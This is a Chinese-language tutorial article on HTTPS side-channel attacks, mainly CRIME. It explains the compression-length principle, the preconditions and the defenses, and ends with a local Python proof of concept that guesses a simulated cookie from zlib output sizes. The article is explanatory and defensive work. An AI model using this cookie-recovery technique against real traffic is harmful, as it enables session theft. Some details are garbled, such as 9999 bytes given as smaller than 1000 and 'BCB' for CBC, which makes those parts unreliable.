当前位置:主页>技术研究院>网络安全>正文

常见HTTPS攻击方法解析

2015-01-12 来源:未知 责任编辑:佚名 点击:

分享到:

0x00 背景

研究常见的https攻击方法

Beast crime breach,并针对https的特性提出一些安全部署https的建议。

针对于HTTPS的攻击,多存在于中间人攻击的环境中,主要是针对于HTTPS所使用的压缩算法和CBC加密模式,进行side-channel-attack。这几类攻击的前置条件都比较苛刻,且都需要受害主机提交很多次请求来收集破译关键数据的足够信息。

常见的攻击方法,主要有,BEAST、Lucky-13、RC4 Biases、CRIME、TIME、BREACH等。主要对其中几种进行介绍。

0x01 CRIME

Compression Ratio Info-leak Made Easy

攻击原理

攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response长度判断请求是否成功。

如下面的https头,攻击这可以控制的部分为get请求地址,想要猜测的部分为Cookie。那么攻击者只需要在GET地址处,不断变换猜测字符串,进行猜测。


GET /sessionid=a HTTP/1.1 Host: bank.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

GET /sessionid=a HTTP/1.1 Host: bank.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

比如上面的情况Response长度为 1000byte。

GET /sessionid=d HTTP/1.1
Host: bank.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)
Gecko/20100101 Firefox/16.0
Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924

当攻击者猜对了cookie的第一个字母,Response的长度会缩小到9999byte。

当Response被SSL加密之后,如果使用RC4加密模式,长度并不会发生随机改变。使用BCB加密模式时,因为padding的原因,长度会有略微的改变。

受影响的加密算法

Deflate = LZ77 + HuffMan
GZip = Headers + Data Compressed using Deflate

攻击前提

攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

浏览器和服务器支持均支持并使用压缩算法。

攻击这可以控制受害者发送大量请求并可以控制请求内容。

防御方法

客户端可以升级浏览器来避免这种攻击。

▪ Chrome: 21.0.1180.89 and above
▪ Firefox: 15.0.1 and above
▪ Opera: 12.01 and above
▪ Safari: 5.1.7 and above

服务器端可以通过禁用一些加密算法来防止此类攻击。

Apache
• SSLCompression flag = “SSLCompression off”
• GnuTLSPriorities flag = “!COMP-DEFLATE"

禁止过于频繁的请求。

修改压缩算法流程,用户输入的数据不进行压缩。

随机添加长度不定的垃圾数据。

TLS 1.0.
SPDY protocol (Google).
Applications that uses TLS compression.
Mozilla Firefox (older versions) that support SPDY.
Google Chrome (older versions) that supported both TLS and SPDY.

POC

这个poc并不是模拟真实环境下的中间人攻击,只是在python中利用CRIME的思想验证了攻击的可行性。


  1. import string  
  2. import zlib  
  3. import sys  
  4. import random  
  5.     
  6. charset = string.letters + string.digits  
  7.     
  8. COOKIE = ''.join(random.choice(charset) for x in range(30))  
  9.     
  10. HEADERS = ("POST / HTTP/1.1\r\n" 
  11.            "Host: thebankserver.com\r\n" 
  12.            "Connection: keep-alive\r\n" 
  13.            "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n" 
  14.            "Accept: */*\r\n" 
  15.            "Referer: https://thebankserver.com/\r\n" 
  16.            "Cookie: secret="+COOKIE+"\r\n" 
  17.            "Accept-Encoding: gzip,deflate,sdch\r\n" 
  18.            "Accept-Language: en-US,en;q=0.8\r\n" 
  19.            "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n" 
  20.            "\r\n")  
  21. BODY =    ("POST / HTTP/1.1\r\n" 
  22.            "Host: thebankserver.com\r\n" 
  23.            "Connection: keep-alive\r\n" 
  24.            "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n" 
  25.            "Accept: */*\r\n" 
  26.            "Referer: https://thebankserver.com/\r\n" 
  27.            "Cookie: secret=")  
  28. cookie = ""  
  29.     
  30. def compress(data):  
  31.     
  32.     c = zlib.compressobj()  
  33.     return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)  
  34. def getposset(perchar,chars):  
  35.     posset = []  
  36.     baselen = len(compress(HEADERS+perchar))  
  37.     for i in chars:  
  38.         t = len(compress(HEADERS+ perchar+i))  
  39.         if (t<=baselen):  
  40.             posset += i  
  41.     return posset  
  42. def doguess():  
  43.     global cookie  
  44.     while len(cookie)<30:  
  45.         posset = getposset(BODY+cookie,charset)  
  46.         trun = 1 
  47.         tem_posset = posset  
  48.         while 1<len(posset):  
  49.             tem_body = BODY[trun:]  
  50.             posset = getposset(tem_body+cookie,tem_posset)  
  51.             trun = trun +1 
  52.         if len(posset)==0:  
  53.             return False 
  54.         cookie += posset[0]  
  55.         print posset[0]  
  56.         return True 
  57.     
  58. while BODY.find("\r\n")>=0:  
  59.     if not doguess():  
  60.         print "(-)Changebody" 
  61.         BODY = BODY[BODY.find("\r\n") + 2:]  
  62. print "(+)orign  cookie"+COOKIE  
  63. print "(+)Gotten cookie"+cookie 
Copyright © 2007-2014 CDNET.ORG.CN. 成都网络行业协会 版权所有
54_1 54_2 54_3 54_4 54_5 54_6 54_7 54_8 54_9 54_10 54_11 54_12 54_13 54_14 54_15 54_16 54_17 54_18 54_19 54_20 54_21 54_22 54_23 54_24 54_25 54_26 54_27